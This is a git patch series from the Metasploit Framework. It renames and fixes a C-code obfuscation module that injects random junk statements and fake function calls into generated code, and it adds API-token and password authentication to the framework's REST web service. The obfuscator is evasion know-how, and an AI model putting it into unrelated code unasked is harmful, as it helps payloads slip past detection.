a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/fake_function_collection.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection.rb @@ -60,8 +60,6 @@ module Metasploit end end end - - end end end end diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/gettickcount.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/gettickcount.rb similarity index 100% rename from lib/metasploit/framework/obfuscation/crandomimzer/code_factory/gettickcount.rb rename to lib/metasploit/framework/obfuscation/crandomizer/code_factory/gettickcount.rb diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/if.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/if.rb similarity index 100% rename from lib/metasploit/framework/obfuscation/crandomimzer/code_factory/if.rb rename to lib/metasploit/framework/obfuscation/crandomizer/code_factory/if.rb diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/int_assignments.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/int_assignments.rb similarity index 67% rename from lib/metasploit/framework/obfuscation/crandomimzer/code_factory/int_assignments.rb rename to lib/metasploit/framework/obfuscation/crandomizer/code_factory/int_assignments.rb index 28b9a0abd3..b9baa1a161 100644 --- a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/int_assignments.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/int_assignments.rb @@ -9,10 +9,10 @@ module Metasploit class IntAssignments < Base def stub - var_name = "fakeint_#{Metasploit::Framework::CRandomizer::Utility.rand_int}" + var_name = "fakeint_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}" %Q| void stub() { - int #{var_name} = #{Metasploit::Framework::CRandomizer::Utility.rand_int}; + int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}; }| end end diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/malloc.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/malloc.rb similarity index 100% rename from lib/metasploit/framework/obfuscation/crandomimzer/code_factory/malloc.rb rename to lib/metasploit/framework/obfuscation/crandomizer/code_factory/malloc.rb diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/outputdebugstring.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring.rb similarity index 100% rename from lib/metasploit/framework/obfuscation/crandomimzer/code_factory/outputdebugstring.rb rename to lib/metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring.rb diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/printf.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/printf.rb similarity index 100% rename from lib/metasploit/framework/obfuscation/crandomimzer/code_factory/printf.rb rename to lib/metasploit/framework/obfuscation/crandomizer/code_factory/printf.rb diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/string_assignments.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/string_assignments.rb similarity index 75% rename from lib/metasploit/framework/obfuscation/crandomimzer/code_factory/string_assignments.rb rename to lib/metasploit/framework/obfuscation/crandomizer/code_factory/string_assignments.rb index c501472a8f..b002973485 100644 --- a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/string_assignments.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/string_assignments.rb @@ -9,10 +9,10 @@ module Metasploit class StringAssignments < Base def stub - var_name = "fake_string_#{Metasploit::Framework::CRandomizer::Utility.rand_int}" + var_name = "fake_string_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}" %Q| void stub() { - const char* #{var_name} = "#{Metasploit::Framework::CRandomizer::Utility.rand_string}"; + const char* #{var_name} = "#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}"; }| end end diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/switch.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/switch.rb similarity index 52% rename from lib/metasploit/framework/obfuscation/crandomimzer/code_factory/switch.rb rename to lib/metasploit/framework/obfuscation/crandomizer/code_factory/switch.rb index 68b331a64f..77e6d0b502 100644 --- a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/switch.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/switch.rb @@ -18,9 +18,9 @@ module Metasploit private def switch_1 - var_name_1 = "x#{Metasploit::Framework::CRandomizer::Utility.rand_int}" - var_name_2 = "y#{Metasploit::Framework::CRandomizer::Utility.rand_int}" - var_name_3 = "delta#{Metasploit::Framework::CRandomizer::Utility.rand_int}" + var_name_1 = "x#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}" + var_name_2 = "y#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}" + var_name_3 = "delta#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}" %Q| int GetTickCount(); @@ -30,23 +30,23 @@ module Metasploit int #{var_name_2} = GetTickCount(); int #{var_name_3} = #{var_name_2} - #{var_name_1}; switch(#{var_name_3}) { - case #{Metasploit::Framework::CRandomizer::Utility.rand_int}: - #{var_name_2} = #{Metasploit::Framework::CRandomizer::Utility.rand_int}; + case #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}: + #{var_name_2} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}; break; default: - #{var_name_1} = #{Metasploit::Framework::CRandomizer::Utility.rand_int}; + #{var_name_1} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}; } }| end def switch_2 - var_name = "rndnum#{Metasploit::Framework::CRandomizer::Utility.rand_int}" + var_name = "rndnum#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}" %Q| void stub() { - int #{var_name} = #{Metasploit::Framework::CRandomizer::Utility.rand_int}; + int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}; switch (#{var_name}) { - case #{Metasploit::Framework::CRandomizer::Utility.rand_int}: - #{var_name} = #{Metasploit::Framework::CRandomizer::Utility.rand_int}; + case #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}: + #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}; break; } }| diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/uninit_variables.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/uninit_variables.rb similarity index 72% rename from lib/metasploit/framework/obfuscation/crandomimzer/code_factory/uninit_variables.rb rename to lib/metasploit/framework/obfuscation/crandomizer/code_factory/uninit_variables.rb index 8ad2fda4c8..dcf2a14b0c 100644 --- a/lib/metasploit/framework/obfuscation/crandomimzer/code_factory/uninit_variables.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/uninit_variables.rb @@ -21,21 +21,21 @@ module Metasploit def char %Q| void stub() { - char uninitcharvar#{CRandomizer::Utility.rand_int}; + char uninitcharvar#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}; }| end def int %Q| void stub() { - int uninitintvar#{CRandomizer::Utility.rand_int}; + int uninitintvar#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}; }| end def string %Q| void stub() { - const char* uninitstringvar#{CRandomizer::Utility.rand_int}; + const char* uninitstringvar#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}; }| end end diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/modifier.rb b/lib/metasploit/framework/obfuscation/crandomizer/modifier.rb similarity index 100% rename from lib/metasploit/framework/obfuscation/crandomimzer/modifier.rb rename to lib/metasploit/framework/obfuscation/crandomizer/modifier.rb diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/parser.rb b/lib/metasploit/framework/obfuscation/crandomizer/parser.rb similarity index 94% rename from lib/metasploit/framework/obfuscation/crandomimzer/parser.rb rename to lib/metasploit/framework/obfuscation/crandomizer/parser.rb index 3ffebf4c8e..6d192b4be9 100644 --- a/lib/metasploit/framework/obfuscation/crandomimzer/parser.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/parser.rb @@ -1,5 +1,5 @@ require 'metasploit/framework/obfuscation/crandomizer/utility' -require 'metasploit/framework/obfuscation/crandomizer/modifer' +require 'metasploit/framework/obfuscation/crandomizer/modifier' module Metasploit module Framework diff --git a/lib/metasploit/framework/obfuscation/crandomizer/random_statements.rb b/lib/metasploit/framework/obfuscation/crandomizer/random_statements.rb new file mode 100644 index 0000000000..eeebc6281b --- /dev/null +++ b/lib/metasploit/framework/obfuscation/crandomizer/random_statements.rb @@ -0,0 +1,95 @@ +require 'metasploit/framework/obfuscation/crandomizer/utility' + +module Metasploit + module Framework + module Obfuscation + module CRandomizer + + class RandomStatements + + attr_reader :fake_functions + attr_reader :function_list + + def initialize(f, s=nil) + @fake_functions = f + @function_list = [ Proc.new { get_random_statements } ] + if s && !f.has_function_name?(s.var.name) + @function_list << Proc.new { get_random_function_call } + end + end + + def get + function_list.sample.call + end + + private + + def make_func_arg_str(args) + arg_array = [] + + args.each do |arg| + case arg.name + when 'i' + arg_array << %Q|#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}| + when 's' + arg_array << %Q|"#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}"| + else + raise "Unknown argument type to process" + end + end + + %Q|(#{arg_array.join(', ')})| + end + + def make_func_declare_arg_str(args) + arg_array = [] + args.each do |a| + case a.name + when 'i' + arg_array << 'int' + when 's' + arg_array << 'char*' + else + raise "Unknown argument type to process" + end + end + + %Q|(#{arg_array.join(', ')})| + end + + def get_random_statements + ignored_classes = [:Base, :FakeFunction, :FakeFunctionCollection] + class_name = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory.constants.select { |c| + next if ignored_classes.include?(c) + Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory.const_get(c).instance_of?(Class) + }.sample + Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory.const_get(class_name).new.code + end + + # This function is kind of dangerous, because it could cause an + # infinitely loop by accident when random functions call each other. + def get_random_function_call + # There is no fake function collection + return [] if fake_functions.empty? + + fake_function = fake_functions.sample + fake_function_name = fake_function.var.name + fake_function_args = fake_function.var.type.args + fake_function_declare_args_str = make_func_declare_arg_str(fake_function_args) + + arg_str = make_func_arg_str(fake_function_args) + template = %Q| + void #{fake_function_name}#{fake_function_declare_args_str}; + void stub() { + #{fake_function_name}#{arg_str}; + }| + + parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(template) + parser.toplevel.statements.last.var.initializer.statements + end + end + + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/obfuscation/crandomimzer/utility.rb b/lib/metasploit/framework/obfuscation/crandomizer/utility.rb similarity index 100% rename from lib/metasploit/framework/obfuscation/crandomimzer/utility.rb rename to lib/metasploit/framework/obfuscation/crandomizer/utility.rb From c0717d93060479d56deaa1bfbf897c76283e1d15 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Fri, 22 Jun 2018 15:09:36 -0400 Subject: [PATCH 042/217] Add MSF REST web service authentication support --- Gemfile.lock | 5 + lib/msf/core/db_manager.rb | 2 + .../core/db_manager/http/authentication.rb | 5 + .../http/authentication/strategies.rb | 9 ++ .../authentication/strategies/api_token.rb | 38 +++++ .../strategies/user_password.rb | 39 +++++ .../http/http_db_manager_service.rb | 8 +- .../db_manager/http/metasploit_api_app.rb | 83 +++++++++++ .../core/db_manager/http/public/favicon.ico | Bin 0 -> 6862 bytes .../db_manager/http/servlet/auth_servlet.rb | 105 +++++++++++++ .../core/db_manager/http/servlet_helper.rb | 27 +++- lib/msf/core/db_manager/http/sinatra_app.rb | 43 ------ .../db_manager/http/views/auth/account.erb | 138 ++++++++++++++++++ .../core/db_manager/http/views/auth/login.erb | 54 +++++++ lib/msf/core/db_manager/user.rb | 98 +++++++++++++ metasploit-framework.gemspec | 2 + 16 files changed, 607 insertions(+), 49 deletions(-) create mode 100644 lib/msf/core/db_manager/http/authentication.rb create mode 100644 lib/msf/core/db_manager/http/authentication/strategies.rb create mode 100644 lib/msf/core/db_manager/http/authentication/strategies/api_token.rb create mode 100644 lib/msf/core/db_manager/http/authentication/strategies/user_password.rb create mode 100644 lib/msf/core/db_manager/http/metasploit_api_app.rb create mode 100644 lib/msf/core/db_manager/http/public/favicon.ico create mode 100644 lib/msf/core/db_manager/http/servlet/auth_servlet.rb delete mode 100644 lib/msf/core/db_manager/http/sinatra_app.rb create mode 100644 lib/msf/core/db_manager/http/views/auth/account.erb create mode 100644 lib/msf/core/db_manager/http/views/auth/login.erb create mode 100644 lib/msf/core/db_manager/user.rb diff --git a/Gemfile.lock b/Gemfile.lock index df0a062241..8dbc3193ce 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -65,9 +65,11 @@ PATH sinatra sqlite3 sshkey + sysrandom thin tzinfo tzinfo-data + warden windows_error xdr xmlrpc @@ -325,6 +327,7 @@ GEM sqlite3 (1.3.13) sshkey (1.9.0) swagger-blocks (2.0.2) + sysrandom (1.0.5) thin (1.7.2) daemons (~> 1.0, >= 1.0.9) eventmachine (~> 1.0, >= 1.0.4) @@ -338,6 +341,8 @@ GEM thread_safe (~> 0.1) tzinfo-data (1.2018.5) tzinfo (>= 1.0.0) + warden (1.2.7) + rack (>= 1.0) windows_error (0.1.2) xdr (2.0.0) activemodel (>= 4.2.7) diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index e59e4cb68a..6becc834f0 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -53,6 +53,7 @@ class Msf::DBManager autoload :Session, 'msf/core/db_manager/session' autoload :SessionEvent, 'msf/core/db_manager/session_event' autoload :Task, 'msf/core/db_manager/task' + autoload :User, 'msf/core/db_manager/user' autoload :Vuln, 'msf/core/db_manager/vuln' autoload :VulnAttempt, 'msf/core/db_manager/vuln_attempt' autoload :VulnDetail, 'msf/core/db_manager/vuln_detail' @@ -89,6 +90,7 @@ class Msf::DBManager include Msf::DBManager::Session include Msf::DBManager::SessionEvent include Msf::DBManager::Task + include Msf::DBManager::User include Msf::DBManager::Vuln include Msf::DBManager::VulnAttempt include Msf::DBManager::VulnDetail diff --git a/lib/msf/core/db_manager/http/authentication.rb b/lib/msf/core/db_manager/http/authentication.rb new file mode 100644 index 0000000000..9cca97f984 --- /dev/null +++ b/lib/msf/core/db_manager/http/authentication.rb @@ -0,0 +1,5 @@ +module Authentication + autoload :Strategies, 'msf/core/db_manager/http/authentication/strategies' + + include Strategies +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/http/authentication/strategies.rb b/lib/msf/core/db_manager/http/authentication/strategies.rb new file mode 100644 index 0000000000..9f9793bef9 --- /dev/null +++ b/lib/msf/core/db_manager/http/authentication/strategies.rb @@ -0,0 +1,9 @@ +module Authentication + module Strategies + autoload :ApiToken, 'msf/core/db_manager/http/authentication/strategies/api_token' + autoload :UserPassword, 'msf/core/db_manager/http/authentication/strategies/user_password' + + include ApiToken + include UserPassword + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/http/authentication/strategies/api_token.rb b/lib/msf/core/db_manager/http/authentication/strategies/api_token.rb new file mode 100644 index 0000000000..27a16952a0 --- /dev/null +++ b/lib/msf/core/db_manager/http/authentication/strategies/api_token.rb @@ -0,0 +1,38 @@ +module Authentication + module Strategies + module ApiToken + AUTHORIZATION = 'HTTP_AUTHORIZATION' + AUTHORIZATION_SCHEME = 'Bearer' + TOKEN_QUERY_PARAM = 'token' + + Warden::Strategies.add(:api_token) do + + # Check if request contains valid data and should be authenticated. + # @return [Boolean] true if strategy should be run for the request; otherwise, false. + def valid? + authorization = request.env[AUTHORIZATION] + (authorization.is_a?(String) && authorization.start_with?(AUTHORIZATION_SCHEME)) || !params[TOKEN_QUERY_PARAM].nil? + end + + # Authenticate the request. + def authenticate! + db_manager = env['DBManager'] + authorization = request.env[AUTHORIZATION] + if authorization.is_a?(String) && authorization.start_with?(AUTHORIZATION_SCHEME) + token = authorization.sub(/^#{AUTHORIZATION_SCHEME}\s+/, '') + else + token = params[TOKEN_QUERY_PARAM] + end + + user = db_manager.users(persistence_token: token).first + + if user.nil? + throw(:warden, message: "Invalid API token.") + else + success!(user) + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/http/authentication/strategies/user_password.rb b/lib/msf/core/db_manager/http/authentication/strategies/user_password.rb new file mode 100644 index 0000000000..4da879cf83 --- /dev/null +++ b/lib/msf/core/db_manager/http/authentication/strategies/user_password.rb @@ -0,0 +1,39 @@ +module Authentication + module Strategies + module UserPassword + + Warden::Manager.serialize_into_session{ |user| user.id } + Warden::Manager.serialize_from_session{ |id| + db_manager = env['DBManager'] + db_manager.users(id: id).first + } + + Warden::Manager.before_failure do |env,opts| + # change request method to get control to our handler since authentication failure can happen on any request + env['REQUEST_METHOD'] = 'POST' + end + + Warden::Strategies.add(:password) do + + # Check if request contains valid data and should be authenticated. + # @return [Boolean] true if strategy should be run for the request; otherwise, false. + def valid? + params['username'] && params['password'] + end + + # Authenticate the request. + def authenticate! + db_manager = env['DBManager'] + user = db_manager.users(username: params['username']).first + + if user.nil? || !db_manager.authenticate_user(id: user.id, password: params['password']) + fail("Invalid username or password.") + else + success!(user) + end + end + end + + end + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/http/http_db_manager_service.rb b/lib/msf/core/db_manager/http/http_db_manager_service.rb index 524bab606d..b8bbbad332 100644 --- a/lib/msf/core/db_manager/http/http_db_manager_service.rb +++ b/lib/msf/core/db_manager/http/http_db_manager_service.rb @@ -1,5 +1,5 @@ require 'rack' -require 'msf/core/db_manager/http/sinatra_app' +require 'msf/core/db_manager/http/metasploit_api_app' require 'metasploit/framework/parsed_options/remote_db' require 'rex/ui/text/output/stdio' @@ -26,14 +26,14 @@ class HttpDBManagerService def start_http_server(opts) - Rack::Handler::Thin.run(SinatraApp, opts) do |server| + Rack::Handler::Thin.run(MetasploitApiApp, opts) do |server| if opts[:ssl] && opts[:ssl] = true - print_good "SSL Enabled" + print_good('SSL Enabled') server.ssl = true server.ssl_options = opts[:ssl_opts] else - print_warning 'SSL Disabled' + print_warning('SSL Disabled') end server.threaded = true end diff --git a/lib/msf/core/db_manager/http/metasploit_api_app.rb b/lib/msf/core/db_manager/http/metasploit_api_app.rb new file mode 100644 index 0000000000..5a7aa67d42 --- /dev/null +++ b/lib/msf/core/db_manager/http/metasploit_api_app.rb @@ -0,0 +1,83 @@ +require 'sinatra/base' +require 'swagger/blocks' +require 'sysrandom/securerandom' +require 'warden' +require 'msf/core/db_manager/http/authentication' +require 'msf/core/db_manager/http/servlet_helper' +require 'msf/core/db_manager/http/servlet/api_docs_servlet' +require 'msf/core/db_manager/http/servlet/auth_servlet' +require 'msf/core/db_manager/http/servlet/host_servlet' +require 'msf/core/db_manager/http/servlet/note_servlet' +require 'msf/core/db_manager/http/servlet/vuln_servlet' +require 'msf/core/db_manager/http/servlet/event_servlet' +require 'msf/core/db_manager/http/servlet/web_servlet' +require 'msf/core/db_manager/http/servlet/msf_servlet' +require 'msf/core/db_manager/http/servlet/workspace_servlet' +require 'msf/core/db_manager/http/servlet/service_servlet' +require 'msf/core/db_manager/http/servlet/session_servlet' +require 'msf/core/db_manager/http/servlet/exploit_servlet' +require 'msf/core/db_manager/http/servlet/loot_servlet' +require 'msf/core/db_manager/http/servlet/session_event_servlet' +require 'msf/core/db_manager/http/servlet/credential_servlet' +require 'msf/core/db_manager/http/servlet/nmap_servlet' +require 'msf/core/db_manager/http/servlet/db_export_servlet' +require 'msf/core/db_manager/http/servlet/vuln_attempt_servlet' + +class MetasploitApiApp < Sinatra::Base + helpers ServletHelper + + # Servlet registration + register ApiDocsServlet + register AuthServlet + register HostServlet + register VulnServlet + register EventServlet + register WebServlet + register MsfServlet + register NoteServlet + register WorkspaceServlet + register ServiceServlet + register SessionServlet + register ExploitServlet + register LootServlet + register SessionEventServlet + register CredentialServlet + register NmapServlet + register DbExportServlet + register VulnAttemptServlet + + configure do + set :sessions, {key: 'msf-ws.session', expire_after: 300} + set :session_secret, ENV.fetch('MSF_WS_SESSION_SECRET') { SecureRandom.hex(16) } + end + + before do + # store DBManager in request environment so that it is available to Warden + request.env['DBManager'] = get_db + end + + use Warden::Manager do |config| + # failed authentication is handled by this application + config.failure_app = self + # don't intercept 401 responses since the app will provide custom failure messages + config.intercept_401 = false + config.default_scope = :api + + config.scope_defaults :user, + # whether to persist the result in the session or not + store: true, + # list of strategies to use + strategies: [:password], + # action (route) of the failure application + action: "#{AuthServlet.api_unauthenticated_path}/user" + + config.scope_defaults :api, + # whether to persist the result in the session or not + store: false, + # list of strategies to use + strategies: [:api_token], + # action (route) of the failure application + action: AuthServlet.api_unauthenticated_path + end + +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/http/public/favicon.ico b/lib/msf/core/db_manager/http/public/favicon.ico new file mode 100644 index 0000000000000000000000000000000000000000..fd6a4281c7ff4cf619533014a89b75cf97d589ab GIT binary patch literal 6862 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 